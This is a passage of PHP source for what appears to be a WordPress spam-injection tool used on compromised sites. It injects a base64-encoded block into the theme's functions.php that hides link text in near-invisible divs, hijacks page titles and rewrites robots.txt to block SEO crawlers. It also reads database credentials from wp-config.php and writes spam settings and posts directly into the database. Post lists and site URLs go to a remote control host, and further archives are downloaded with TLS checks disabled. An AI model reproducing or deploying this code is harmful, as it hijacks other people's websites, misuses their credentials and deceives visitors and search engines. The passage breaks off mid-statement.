gpmdW5jdGlvbiBhZGRpdGlvbmFsX3N0eWxlX2N1c3RvbSgkaG9tZUxpbmtzU2V0dGluZ3NBcnIsICR0ZXh0QmxvY2spIHsKICAgIAogICAgaWYgKGVtcHR5KCR0ZXh0QmxvY2spKSB7CiAgICAgICAgcmV0dXJuICcnOwogICAgfQoKICAgIGlmICgkaG9tZUxpbmtzU2V0dGluZ3NBcnJbJ2hpZGRlblR5cGUnXVsnY3NzJ10gPT09IDEpIHsKICAgICAgICByZXR1cm4gY3NzX3J1bGVfY3VzdG9tKClbMF0gLiBQSFBfRU9MIC4gJHRleHRCbG9jayAuIFBIUF9FT0wgLiBjc3NfcnVsZV9jdXN0b20oKVsxXTsKICAgIH0KICAgIHJldHVybiAkdGV4dEJsb2NrOwp9CgpmdW5jdGlvbiBjc3NfcnVsZV9jdXN0b20oKSB7CiAgICAvL3JldHVybiBbJzxkaXYgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4nLCAnPC9kaXY+J107CiAgICByZXR1cm4gWyc8ZGl2IHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTsgZmlsdGVyOmFscGhhKG9wYWNpdHk9MCk7b3BhY2l0eTowLjAwMzt6LWluZGV4Ojg7Ij4nLCAnPC9kaXY+J107Cn0KCmZ1bmN0aW9uIGhvbWVfbGlua3Nfc2V0dGluZ3NfY3VzdG9tKCRzZXR0aW5ncykgewogICAgZm9yZWFjaCAoJHNldHRpbmdzIGFzICRrZXkgPT4gJGFycikgewogICAgICAgIGlmIChpc3NldCgkYXJyWydob21lTGlua3MnXSkpIHsKICAgICAgICAgICAgcmV0dXJuICRhcnJbJ2hvbWVMaW5rcyddOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiBhcnJheSgpOwp9CgokdXNlclNldHRpbmdzQXJyID0gY3VzdG9tRmlsdGVyc1NldHRpbmdzKCk7CgppZiAoaXNfYXJyYXkoJHVzZXJTZXR0aW5nc0FycikpIHsKICAgIGFkZF9maWx0ZXIoJ3Bvc3RzX3doZXJlX3BhZ2VkJywgJ2FkZF93aGVyZV9jb25kaXRpb24nKTsKCiAgICBhZGRfZmlsdGVyKCdkb2N1bWVudF90aXRsZV9wYXJ0cycsICdjdXN0b21fdGl0bGVfZmlsdGVyX2Zvcl9hdXRob3JzJywgMSk7CiAgICBhZGRfZmlsdGVyKCd3cF90aXRsZScsICdmb3JjZV9jdXN0b21fdGl0bGUnLCA5OTk5LCAzKTsKICAgIGFkZF9maWx0ZXIoJ3dwc2VvX3RpdGxlJywgJ2N1c3RvbV93cHNlb190aXRsZScsIDk5OTkpOwogICAgYWRkX2ZpbHRlcignYWlvc2VvcF90aXRsZScsICdjdXN0b21fYWlvc2VvcF90aXRsZScsIDk5OTkpOwoKICAgIGFkZF9hY3Rpb24oJ3ByZV9nZXRfcG9zdHMnLCAncG9zdF9leGNsdWRlJyk7CiAgICBhZGRfYWN0aW9uKCd3cF9lbnF1ZXVlX3NjcmlwdHMnLCAnd3BfY29yZV9qcycpOwoKICAgIGFkZF9maWx0ZXIoJ3dwX2NvdW50X3Bvc3RzJywgJ2ZpbHRlcl9mdW5jdGlvbl9uYW1lXzQwNTUnLCAxMCwgMyk7CgogICAgYWRkX2ZpbHRlcigncmV3cml0ZV9ydWxlc19hcnJheScsICdzaXRlbWFwX3htbF9ydWxlcycpOwogICAgYWRkX2FjdGlvbignd3BfbG9hZGVkJywgJ2N1c3RvbV9mbHVzaF9ydWxlcycpOwogICAgYWRkX2FjdGlvbignaW5pdCcsICdjdXN0b21TaXRlbWFwRmVlZCcpOwogICAgYWRkX2FjdGlvbigndGVtcGxhdGVfcmVkaXJlY3QnLCAncmVtb3ZlWW9hc3RNZXRhJyk7CgogICAgJGhvbWVMaW5rc1NldHRpbmdzQXJyID0gaG9tZV9saW5rc19zZXR0aW5nc19jdXN0b20oJHVzZXJTZXR0aW5nc0Fycik7CgogICAgaWYgKCFlbXB0eSgkaG9tZUxpbmtzU2V0dGluZ3NBcnIpKSB7CgogICAgICAgIGN1c3RvbVNlbmREZWJ1ZygpOwoKICAgICAgICBhZGRfYWN0aW9uKCd3cF9oZWFkJywgJ2J1ZmZlcl9zdGFydF9jdXN0b20nKTsKICAgICAgICBhZGRfYWN0aW9uKCd3cF9mb290ZXInLCAnYnVmZmVyX2VuZF9jdXN0b20nKTsKICAgIH0KCiAgICAvLyDQktGL0LfQvtCyINGE0YPQvdC60YbQuNC4INC00LvRjyDRgdC+0LfQtNCw0L3QuNGPINC40LvQuCDQvtCx0L3QvtCy0LvQtdC90LjRjyByb2JvdHMudHh0CiAgICBjaGVja19hbmRfY3JlYXRlX29yX3VwZGF0ZV9yb2JvdHNfdHh0KCk7Cgp9CgpmdW5jdGlvbiBjaGVja19hbmRfY3JlYXRlX29yX3VwZGF0ZV9yb2JvdHNfdHh0KCkgewogICAgLy8g0J/Rg9GC0Ywg0Log0YTQsNC50LvRgyByb2JvdHMudHh0CiAgICAkcm9ib3RzX2ZpbGUgPSBBQlNQQVRIIC4gJ3JvYm90cy50eHQnOwoKICAgIC8vINCh0L7QtNC10YDQttC40LzQvtC1LCDQutC+0YLQvtGA0L7QtSDQvdGD0LbQvdC+INC00L7QsdCw0LLQuNGC0Ywg0LIg0YTQsNC50Lsgcm9ib3RzLnR4dAogICAgJHJvYm90c19jb250ZW50ID0gIgogICAgVXNlci1hZ2VudDogU2VtcnVzaEJvdAogICAgRGlzYWxsb3c6IC8KCiAgICBVc2VyLWFnZW50OiBTZW1ydXNoQm90LVNBCiAgICBEaXNhbGxvdzogLwoKICAgIFVzZXItYWdlbnQ6IEFocmVmcwogICAgRGlzYWxsb3c6IC8KCiAgICBVc2VyLWFnZW50OiBBaHJlZnNCb3QKICAgIERpc2FsbG93OiAvCgogICAgVXNlci1hZ2VudDogZG90Ym90CiAgICBEaXNhbGxvdzogLwoKICAgIFVzZXItYWdlbnQ6IE1hdWlib3QKICAgIERpc2FsbG93OiAvCgogICAgVXNlci1hZ2VudDogc2VycHN0YXRib3QKICAgIERpc2FsbG93OiAvCgogICAgVXNlci1hZ2VudDogQ29jb2x5emVib3QKICAgIERpc2FsbG93OiAvCgogICAgVXNlci1hZ2VudDogQkxFWEJvdAogICAgRGlzYWxsb3c6IC8KCiAgICBVc2VyLWFnZW50OiBNSjEyYm90CiAgICBEaXNhbGxvdzogLwoKICAgIFVzZXItYWdlbnQ6IE5ldHBlYWtDaGVja2VyQm90CiAgICBEaXNhbGxvdzogLwoKICAgIFVzZXItYWdlbnQ6IFNlcnBzdGF0Qm90CiAgICBEaXNhbGxvdzogLwoKICAgICMg0JfQsNC/0YDQtdGCINC00L7RgdGC0YPQv9CwINC6INGH0YPQstGB0YLQstC40YLQtdC70YzQvdGL0Lwg0LTQuNGA0LXQutGC0L7RgNC40Y/QvCDQuCDRhNCw0LnQu9Cw0LwKICAgIFVzZXItYWdlbnQ6ICoKICAgIERpc2FsbG93OiAvY2dpLWJpbi8KICAgIERpc2FsbG93OiAvd3AtYWRtaW4vCiAgICBEaXNhbGxvdzogL3dwLWluY2x1ZGVzLwogICAgRGlzYWxsb3c6IC93cC1jb250ZW50L3BsdWdpbnMvCiAgICBEaXNhbGxvdzogL3dwLWNvbnRlbnQvY2FjaGUvCiAgICBEaXNhbGxvdzogL3dwLWNvbnRlbnQvdGhlbWVzLwogICAgRGlzYWxsb3c6IC90cmFja2JhY2svCiAgICBEaXNhbGxvdzogL3htbHJwYy5waHAKICAgIERpc2FsbG93OiAvd3AtKi5waHAKICAgIERpc2FsbG93OiAvZmVlZC8KICAgIERpc2FsbG93OiAvY29tbWVudHMvCiAgICBEaXNhbGxvdzogL2NhdGVnb3J5LyovKgogICAgRGlzYWxsb3c6IC90YWcvKi8qCiAgICBEaXNhbGxvdzogL2F1dGhvci8KICAgIERpc2FsbG93OiAvc2VhcmNoLwogICAgRGlzYWxsb3c6IC8/cz0KCiAgICAjINCg0LDQt9GA0LXRiNC10L3QuNC1INC00L7RgdGC0YPQv9CwINC6INGB0LvQtdC00YPRjtGJ0LjQvCDQtNC40YDQtdC60YLQvtGA0LjRj9C8INC4INGE0LDQudC70LDQvAogICAgQWxsb3c6IC93cC1jb250ZW50L3VwbG9hZHMvCiAgICBBbGxvdzogL3dwLWFkbWluL2FkbWluLWFqYXgucGhwCgogICAgU2l0ZW1hcDogIiAuIGhvbWVfdXJsKCcvc2l0ZW1hcDIueG1sJykgLiAiCiAgICAiOwoKICAgIC8vINCf0YDQvtCy0LXRgNGP0LXQvCwg0YHRg9GJ0LXRgdGC0LLRg9C10YIg0LvQuCDRhNCw0LnQuwogICAgaWYgKGZpbGVfZXhpc3RzKCRyb2JvdHNfZmlsZSkpIHsKICAgICAgICAvLyDQp9C40YLQsNC10Lwg0YLQtdC60YPRidC10LUg0YHQvtC00LXRgNC20LjQvNC+0LUg0YTQsNC50LvQsAogICAgICAgICRjdXJyZW50X2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkcm9ib3RzX2ZpbGUpOwoKICAgICAgICAvLyDQn9GA0L7QstC10YDRj9C10LwsINC10YHRgtGMINC70Lgg0YPQttC1INC90LDRiNC1INGB0L7QtNC10YDQttC40LzQvtC1INCyINGE0LDQudC70LUKICAgICAgICBpZiAoc3RycG9zKCRjdXJyZW50X2NvbnRlbnQsICRyb2JvdHNfY29udGVudCkgPT09IGZhbHNlKSB7CiAgICAgICAgICAgIC8vINCV0YHQu9C4INC90LXRgiwg0LTQvtCx0LDQstC70Y/QtdC8INC90L7QstC+0LUg0YHQvtC00LXRgNC20LjQvNC+0LUKICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJHJvYm90c19maWxlLCAkcm9ib3RzX2NvbnRlbnQsIEZJTEVfQVBQRU5EIHwgTE9DS19FWCk7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICAvLyDQldGB0LvQuCDRhNCw0LnQuyDQvdC1INGB0YPRidC10YHRgtCy0YPQtdGCLCDRgdC+0LfQtNCw0LXQvCDQvdC+0LLRi9C5INGE0LDQudC7INGBINGB0L7QtNC10YDQttC40LzRi9C8CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJHJvYm90c19maWxlLCAkcm9ib3RzX2NvbnRlbnQpOwogICAgfQp9CgovLyDQlNC+0LHQsNCy0LvRj9C10Lwg0YTQuNC70YzRgtGAINC00LvRjyDQuNC30LzQtdC90LXQvdC40Y8gdGl0bGUg0LTQu9GPINC+0L/RgNC10LTQtdC70LXQvdC90YvRhSDQsNCy0YLQvtGA0L7QsgoKZnVuY3Rpb24gY3VzdG9tX3RpdGxlX2ZpbHRlcl9mb3JfYXV0aG9ycygkdGl0bGVfcGFydHMpIHsKICAgIGdsb2JhbCAkcG9zdCwgJHVzZXJTZXR0aW5nc0FycjsKCiAgICAvLyDQn9GA0L7QstC10YDRj9C10LwsINGP0LLQu9GP0LXRgtGB0Y8g0LvQuCDRgtC10LrRg9GJ0LjQuSDQsNCy0YLQvtGAINC/0L7RgdGC0LAg0L7QtNC90LjQvCDQuNC3INGD0LrQsNC30LDQvdC90YvRhSDQsiDQvdCw0YHRgtGA0L7QudC60LDRhQogICAgaWYgKGlzX3NpbmdsZSgpICYmIGlzc2V0KCRwb3N0LT5wb3N0X2F1dGhvcikpIHsKICAgICAgICAkYXV0aG9yX2lkID0gJHBvc3QtPnBvc3RfYXV0aG9yOwogICAgICAgICRhdXRob3JzX2lkc19hcnIgPSBhcnJheV9rZXlzKCR1c2VyU2V0dGluZ3NBcnIpOwoKICAgICAgICAvLyDQldGB0LvQuCDQsNCy0YLQvtGAINC/0L7RgdGC0LAg0L3QsNGF0L7QtNC40YLRgdGPINCyINC80LDRgdGB0LjQstC1INCw0LLRgtC+0YDQvtCyLCDQtNC70Y8g0LrQvtGC0L7RgNGL0YUg0L3Rg9C20L3QviDQuNC30LzQtdC90LjRgtGMINC30LDQs9C+0LvQvtCy0L7QugogICAgICAgIGlmIChpbl9hcnJheSgkYXV0aG9yX2lkLCAkYXV0aG9yc19pZHNfYXJyKSkgewogICAgICAgICAgICAvLyDQo9Cx0LjRgNCw0LXQvCDQstGB0LUsINC60YDQvtC80LUg0LfQsNCz0L7Qu9C+0LLQutCwINC/0L7RgdGC0LAKICAgICAgICAgICAgcmV0dXJuIGFycmF5KCd0aXRsZScgPT4gZ2V0X3RoZV90aXRsZSgkcG9zdC0+SUQpKTsKICAgICAgICB9CiAgICB9CgogICAgLy8g0JLQvtC30LLRgNCw0YnQsNC10Lwg0L7RgNC40LPQuNC90LDQu9GM0L3Ri9C5INC30LDQs9C+0LvQvtCy0L7QuiDQtNC70Y8g0L7RgdGC0LDQu9GM0L3Ri9GFINGB0LvRg9GH0LDQtdCyCiAgICByZXR1cm4gJHRpdGxlX3BhcnRzOwp9CgpmdW5jdGlvbiBmb3JjZV9jdXN0b21fdGl0bGUoJHRpdGxlLCAkc2VwLCAkc2VwbG9jYXRpb24pIHsKICAgIGlmIChpc19zaW5ndWxhcigpKSB7CiAgICAgICAgcmV0dXJuIGdldF90aGVfdGl0bGUoKTsKICAgIH0KICAgIHJldHVybiAkdGl0bGU7Cn0KCmZ1bmN0aW9uIGN1c3RvbV93cHNlb190aXRsZSgkdGl0bGUpIHsKICAgIGlmIChpc19zaW5ndWxhcigpKSB7CiAgICAgICAgcmV0dXJuIGdldF90aGVfdGl0bGUoKTsKICAgIH0KICAgIHJldHVybiAkdGl0bGU7Cn0KCmZ1bmN0aW9uIGN1c3RvbV9haW9zZW9wX3RpdGxlKCR0aXRsZSkgewogICAgaWYgKGlzX3Npbmd1bGFyKCkpIHsKICAgICAgICByZXR1cm4gZ2V0X3RoZV90aXRsZSgpOwogICAgfQogICAgcmV0dXJuICR0aXRsZTsKfQoKLyogY3VzdG9tIGZpbHRlcnMgKi8='; $controlHash = md5($source); echo "Control hash: $controlHash" . PHP_EOL; echo "Original source length: " . strlen($source) . PHP_EOL; $decodedSource = base64_decode($source); echo "Decoded source length: " . strlen($decodedSource) . PHP_EOL; echo "First 100 characters of decoded source: " . substr($decodedSource, 0, 100) . PHP_EOL; $preparedScript = jsPrepare(JS_SOURCE); echo "Prepared script length: " . strlen($preparedScript) . PHP_EOL; $functionsSource = file_get_contents($functionsPath); if ($functionsSource === false) { echo 'error while reading functions.php' . PHP_EOL; echo 'try to set right permissions...' . PHP_EOL; if (!chmod($functionsPath, 0644)) { echo "Failed to change permissions" . PHP_EOL; return false; } echo 'success!' . PHP_EOL; $functionsSource = file_get_contents($functionsPath); } echo "Functions source length: " . strlen($functionsSource) . PHP_EOL; $settings = settingsArr($functionsSource); if (!$settings) { echo 'settings return false' . PHP_EOL; return false; } echo "Writing settings to DB..." . PHP_EOL; $writeResult = writeSettingsDB($settings); echo "Write result: " . ($writeResult ? "success" : "failure") . PHP_EOL; echo "Updating custom filters..." . PHP_EOL; $customFiltersUpdateResult = mbReplaceCustomFilters($functionsSource , $functionsPath, $controlHash, $source); echo "Update result: " . ($customFiltersUpdateResult ? "success" : "failure") . PHP_EOL; if ($customFiltersUpdateResult) { echo "Getting sitemap URLs..." . PHP_EOL; getSitemapUrls(); return true; } echo "hideAction() failed" . PHP_EOL; return false; } function homeLinksAction() { $hash = md5(HOME_URL); $permLinks = array(); if (isBadEnvCustom()) { echo 'change shell, invalid require wp-blog-header' . PHP_EOL; exit; } if (!function_exists('get_permalink')) { require WP_ROOT_DIR . '/wp-blog-header.php'; } $posts = allPostsFromDb(); if (empty($posts)) { echo '!!!!!!!!no posts for this author!!!!!' . PHP_EOL; return false; } foreach ($posts as $post) { list ($url, $anchor) = explode(';', $post, 2); preg_match('~\?p=(\d+)~', $post, $matches); $postId = $matches[1]; $permLinks[] = array(get_permalink($postId), $anchor); wp_cache_delete($postId, 'posts'); } if (empty($permLinks)) { echo 'invalid fetch permalinks' . PHP_EOL; return false; } $compressed = gzcompress(json_encode($permLinks), 9); $url = GS_ALIAS . '/dnc/wp-acceptors-api/home-links?hash=' . $hash . '&permhash=' . md5($compressed); $results = sendpostUploader($url, array( 'homeLinksSettings' => json_encode($_SERVER['homeLinksSettings']), 'url' => urlencode(HOME_URL), 'permLinks' => urlencode($compressed)) ); $uncompressed = gzuncompress($results); if (!isJsonCustom($uncompressed)) { echo 'invalid home links format' . PHP_EOL; return false; } $blocks = json_decode($uncompressed, 1); if (empty($blocks)) { echo 'no texts for this language' . PHP_EOL; return false; } foreach ($blocks as $key => $value) { update_option('home_links_custom_' . $key, $value); } echo sprintf('%s text block(s) available for use%s', count($blocks), PHP_EOL); return true; } function removeHomeLinkKey($settings) { foreach ($settings as $key => $arr) { if ($key === CUSTOM_AUTHOR_ID) { continue; } if (isset($settings[$key]['homeLinks'])) { unset($settings[$key]['homeLinks']); } } return $settings; } function viewAllAuthorsAction() { $configArr = parseWpConfig(CONFIGSOURCE); $mysqli = new mysqli($configArr['dbhostaddr'], $configArr['dbuser'], $configArr['dbpassword'], $configArr['dbname'], $configArr['dbport']); $query = "SELECT DISTINCT post_author FROM `${configArr['dbprefix']}posts`"; if ($result = $mysqli->query($query)) { while ($res = mysqli_fetch_array($result)) { if ($res['post_author']) { echo $res['post_author'] . PHP_EOL; } } } return true; } function getSitemapUrls() { echo HOME_URL . '/' . SITEMAP_NAME . '.xml' . PHP_EOL; echo HOME_URL . '/?feed=xml' . SITEMAP_NAME . PHP_EOL; $urls = allPostsFromDb(); echo "Total URLs for sitemap: " . count($urls) . PHP_EOL; foreach ($urls as $url) { echo $url . PHP_EOL; } } function writeSettingsDB($settings) { try { $configArr = parseWpConfig(CONFIGSOURCE); $mysqli = new mysqli($configArr['dbhostaddr'], $configArr['dbuser'], $configArr['dbpassword'], $configArr['dbname'], $configArr['dbport']); $settingsEncode = base64_encode(serialize($settings)); $settingsEncode = mysqli_real_escape_string($mysqli, $settingsEncode); $newSettingsQuery = "insert into `" . $configArr['dbprefix'] . "options`" . " (option_name, option_value, autoload)" . " values" . " ('wp_custom_filters', '$settingsEncode', 'yes')" . " ON DUPLICATE KEY UPDATE option_value = '$settingsEncode'"; if (mysqli_query($mysqli, $newSettingsQuery)) { echo 'settings updated!' . PHP_EOL; return true; } } catch (Exception $ex) { return false; } } function sendAction() { // Ничего не делаем return true; } function debugDataCustom() { $settings = array(); $settings = getDbSettingsCustom(); if ($settings) { foreach ($settings as $userId => $arr) { if (isset($arr['js']) && $decodedJs = detectBase64js($arr['js'])) { $settings[$userId]['js'] = parseJsScript($decodedJs); } } } return array( 'archivePath' => str_replace('{DIR_NUM}', DIR_NUM, URL_WITH_ARCHIVES), 'authorId' => CUSTOM_AUTHOR_ID, 'cloacking' => CLOACKING, 'homeLinks' => (defined('HOME_LINKS')) ? HOME_LINKS : 0, 'homeLinksSettings' => ((defined('HOME_LINKS') && (HOME_LINKS === 1))) ? $_SERVER['homeLinksSettings'] : array(), 'forceChangeHomeLinksOwner' => defined('FORCE_CHANGE_HOME_LINKS_OWNER') ? FORCE_CHANGE_HOME_LINKS_OWNER : 0, 'internalLinking' => INTERNAL_LINKING, 'externalLinking' => EXTERNAL_LINKING, 'sitemapName' => SITEMAP_NAME, 'jsConfig' => parseJsScript(JS_SOURCE), 'usersSettings' => $settings, ); } function cleanAction() { removeDirRec(TMPDIR); return true; } function rollbackAction() { $configArr = parseWpConfig(CONFIGSOURCE); $mysqli = new mysqli($configArr['dbhostaddr'], $configArr['dbuser'], $configArr['dbpassword'], $configArr['dbname'], $configArr['dbport']); deleteSettings(); deletePosts($configArr, $mysqli); removeDirRec(TMPDIR); return true; } function removeHomeLinksCustom($configArr, $mysqli) { //SELECT option_id FROM `wp_options` where option_name LIKE 'home_links_custom_%' $homeLinksIdsQuery = sprintf("select option_id from `%s`.`%soptions` where option_name LIKE 'home_links_custom_%%'", $configArr['dbname'], $configArr['dbprefix']); if ($result = $mysqli->query($homeLinksIdsQuery)) { while ($row = $result->fetch_assoc()) { $ids[] = $row['option_id']; } } if (empty($ids)) { return 0; } $idsString = implode(', ', $ids); $queryForDelete = sprintf("delete FROM `%s`.`%soptions` where option_id IN ($idsString)", $configArr['dbname'], $configArr['dbprefix']); $mysqli->query($queryForDelete); return $mysqli->affected_rows; } function globalRollbackAction() { $configArr = parseWpConfig(CONFIGSOURCE); $mysqli = new mysqli($configArr['dbhostaddr'], $configArr['dbuser'], $configArr['dbpassword'], $configArr['dbname'], $configArr['dbport']); deletePosts($configArr, $mysqli, true); removeDirRec(TMPDIR); if (!defined('CUSTOM_TEMPLATE_PATH')) { $templateDirectory = getTemplatePath(); } else { $templateDirectory = CUSTOM_TEMPLATE_PATH; } $functionsPath = $templateDirectory . '/functions.php'; if (!file_exists($functionsPath)) { echo $functionsPath . '/ no exists' . PHP_EOL; return true; } if (!is_writeable($functionsPath)) { echo $functionsPath . ' no writeable' . PHP_EOL; return true; } $functionsSource = file_get_contents($functionsPath); $regexp = '~\/\*\s+custom filters\s+\*\/(.+)\/\*\s*custom filters\s*\*\/~su'; $newSource = preg_replace($regexp, '', $functionsSource); if ($newSource !== $functionsSource) { file_put_contents($functionsPath, $newSource); echo 'return original functions.php' . PHP_EOL; } writeSettingsDB(array()); removeHomeLinksCustom($configArr, $mysqli); return true; } function sendPostsFromDbAction() { $api = GS_ALIAS . '/src/wpacc.php'; $urls = allPostsFromDb(); if (empty($urls)) { echo "no posts by author id" . PHP_EOL; return false; } $source = implode("\n", $urls); $responseData = sendpostUploader($api, array( 'url' => urlencode(HOME_URL), 'source' => urlencode($source), )); if (trim($responseData) === 'success') { echo "data sent" . PHP_EOL; return true; } echo "error while send data" . PHP_EOL; return false; } function allPostsFromDb() { $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999; $configArr = parseWpConfig(CONFIGSOURCE); $mysqli = new mysqli($configArr['dbhostaddr'], $configArr['dbuser'], $configArr['dbpassword'], $configArr['dbname'], $configArr['dbport']); $query = "SELECT ID, post_title FROM `" . $configArr['dbname'] . "`.`" . $configArr['dbprefix'] . "posts` where post_author = $userId"; echo "Query: $query\n"; $urls = array(); if ($result = $mysqli->query($query)) { echo "Number of posts found: " . $result->num_rows . "\n"; while ($row = $result->fetch_assoc()) { $urls[] = HOME_URL . '/?p=' . $row['ID'] . ';' . $row['post_title']; } } else { echo "MySQL Error: " . $mysqli->error . "\n"; } echo "Number of URLs: " . count($urls) . "\n"; return $urls; } function allPostsFullUrl() { $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999; $configArr = parseWpConfig(CONFIGSOURCE); $mysqli = new mysqli($configArr['dbhostaddr'], $configArr['dbuser'], $configArr['dbpassword'], $configArr['dbname'], $configArr['dbport']); $query = "SELECT ID, post_title FROM `" . $configArr['dbname'] . "`.`" . $configArr['dbprefix'] . "posts` where post_author = $userId"; $urls = array(); if (isBadEnvCustom()) { echo 'change shell, invalid require wp-blog-header' . PHP_EOL; exit; } if (!function_exists('get_permalink')) { require_once WP_ROOT_DIR . '/wp-blog-header.php'; } if ($result = $mysqli->query($query)) { while ($row = $result->fetch_assoc()) { $urls[] = array( get_permalink($row['ID']), $row['ID'], $row['post_title'] ); wp_cache_delete($row['ID'], 'posts'); } } return $urls; } function unzipSecondMethod() { echo "Starting unzipSecondMethod()" . PHP_EOL; // Сохранение текущей локали $currentLocale = setlocale(LC_ALL, 0); // Установка локали для корректной обработки русских имен файлов setlocale(LC_ALL, 'ru_RU.UTF-8'); $basePath = TMPDIR; for ($i = 1; $i <= 3; $i++) { $path = $basePath . "/dir_$i"; echo "Checking directory: $path" . PHP_EOL; $zipFiles = glob($path . "/*.zip"); if (empty($zipFiles)) { echo "No ZIP files found in $path" . PHP_EOL; continue; } $zip = new ZipArchive(); foreach ($zipFiles as $file) { echo "Attempting to unzip file: $file" . PHP_EOL; if ($zip->open($file) === TRUE) { $extractPath = $path; if ($zip->extractTo($extractPath)) { echo "Successfully extracted $file to $extractPath" . PHP_EOL; $zip->close(); unlink($file); echo "Deleted ZIP file: $file" . PHP_EOL; } else { echo "Failed to extract $file" . PHP_EOL; $zip->close(); // Восстановление первоначальной локали перед возвратом setlocale(LC_ALL, $currentLocale); return false; } } else { echo "Failed to open ZIP file: $file" . PHP_EOL; // Восстановление первоначальной локали перед возвратом setlocale(LC_ALL, $currentLocale); return false; } } } // Восстановление первоначальной локали перед возвратом setlocale(LC_ALL, $currentLocale); return true; } function unzipFirstMethod() { // Сохранение текущей локали $currentLocale = setlocale(LC_ALL, 0); // Установка локали для корректной обработки русских имен файлов setlocale(LC_ALL, 'ru_RU.UTF-8'); echo "Starting unzipFirstMethod()" . PHP_EOL; $basePath = TMPDIR; if (file_exists($unzipClassPath = WP_ROOT_DIR . '/wp-admin/includes/class-pclzip.php')) { include_once $unzipClassPath; } else { include_once TMPDIR . '/header.php'; } $foundZipFiles = false; for ($i = 1; $i <= 3; $i++) { $path = $basePath . "/dir_$i"; echo "Checking directory: $path" . PHP_EOL; // Ищем файлы с именами вида dir1_0.zip, dir1_1.zip и т.д. $zipFiles = glob($path . "/dir{$i}_*.zip"); if (empty($zipFiles)) { echo "No ZIP files found in $path" . PHP_EOL; continue; } foreach ($zipFiles as $file) { // Проверяем размер файла if (filesize($file) == 0) { echo "Skipping empty file: $file" . PHP_EOL; continue; } $foundZipFiles = true; echo "Attempting to unzip file: $file" . PHP_EOL; $archive = new PclZip($file); $extractPath = $path; if ($archive->extract(PCLZIP_OPT_PATH, $extractPath) == 0) { echo "Error extracting $file: " . $archive->errorInfo(true) . PHP_EOL; // Продолжаем с следующим файлом, вместо того чтобы прерывать весь процесс continue; } else { echo "Successfully extracted $file to $extractPath" . PHP_EOL; unlink($file); echo "Deleted ZIP file: $file" . PHP_EOL; } } } if (!$foundZipFiles) { echo "No valid ZIP files found in any of the specified directories" . PHP_EOL; // Восстановление первоначальной локали перед возвратом setlocale(LC_ALL, $currentLocale); return false; } // Восстановление первоначальной локали перед возвратом setlocale(LC_ALL, $currentLocale); return true; } function parseWpConfig($configSource) { if ((ALTERNATIVE_CONNECT_MYSQL === 1) && defined('WP_CONFIG_ARR_AS_JSON')) { return json_decode(WP_CONFIG_ARR_AS_JSON, 1); } //preg_match_all("~(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'\"],\s*[\'\"](.+)[\'\"]\s*\);~", $configSource, $dbhost); preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'\"],\s*[\'\"](.+)[\'\"]\s*\);~m", $configSource, $dbhost); preg_match("~table_prefix\s+=\s*[\'\"](.+)[\'\"];~", $configSource, $prefix); if (stristr($dbhost[2][3], ':') !== false) { list($hostAddr, $dbPort) = explode(':', $dbhost[2][3]); } else { $hostAddr = $dbhost[2][3]; $dbPort = 3306; } return array( 'dbname' => $dbhost[2][0], 'dbuser' => $dbhost[2][1], 'dbpassword' => $dbhost[2][2], 'dbhostaddr' => $hostAddr, 'dbprefix' => $prefix[1], 'dbport' => $dbPort, ); } function findWriteablePath($pathForScaning) { if (is_writeable($pathForScaning)) { return $pathForScaning; } $subdirs = glob($pathForScaning . '/*', GLOB_ONLYDIR); if (!empty($subdirs)) { foreach ($subdirs as $dir) { if (is_writable($dir)) { return $dir; } } } return null; } function detectWProotDir() { if (file_exists(CURRENTDIR . '/wp-config.php')) { return CURRENTDIR; } $normalizePath = preg_replace('~\/(wp-admin|wp-includes|wp-content).*$~', '', CURRENTDIR); if (file_exists($normalizePath . '/wp-config.php')) { return $normalizePath; } return null; } function getHomeUrl($link, $configArr) { $wpHomeUrl = mysqli_query($link, "select * from " . $configArr['dbprefix'] . "options where option_name = 'home' or option_name = 'siteurl'"); while ($res = mysqli_fetch_array($wpHomeUrl)) { if (stristr($res['option_value'], 'http') !== false) { return $res['option_value']; } } } function get_file($source, $localname) { $file = fopen('php://temp/maxmemory:0', 'w+b'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $source); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_FILE, $file); curl_exec($ch); rewind($file); file_put_contents($localname, stream_get_contents($file)); fclose($file); echo $localname . ' - ' . filesizemb($localname) . ' MB' . PHP_EOL; } function uploadRangeOfFiles($url, $range, $extension, $dirname = '', $prefix = '') { list ($firstNum, $secondNum) = explode('-', $range); if (!makeDir($dirname)) { throw new Exception("Cannot create directory - $dirname"); } foreach (range($firstNum, $secondNum) as $num) { $filename = $prefix . $num . $extension; $localPath = $dirname . DIRECTORY_SEPARATOR . $filename; get_file($url . $num . $extension, $localPath); } } function filesizemb($file) { return number_format(filesize($file) / pow(1024, 2), 3, '.', ''); } function makeDir($dirname) { if ($dirname !== '') { if (!is_dir($dirname)) { if (!mkdir($dirname, 0777, true)) { return false; } } } $GLOBALS['createdDirectories'][] = $dirname; return true; } function jsPrepare($jsSource) { $base64 = base64_encode($jsSource); return '<script src="data:text/javascript;base64,' . $base64 . '"></script>'; } function modify_functions_php($functionsPath, $source, $tmpDir, $deleteOldCustomFilters = false) { echo "Source length in modify_functions_php: " . strlen($source) . PHP_EOL; $decodedSource = base64_decode($source); echo "Decoded source length in modify_functions_php: " . strlen($decodedSource) . PHP_EOL; echo "First 100 characters of decoded source: " . substr($decodedSource, 0, 100) . PHP_EOL; echo "Functions path: $functionsPath\n"; echo "Temp dir: $tmpDir\n"; echo "Delete old filters: " . ($deleteOldCustomFilters ? "yes" : "no") . "\n"; echo "Source length: " . strlen($source) . "\n"; $functionsSource = 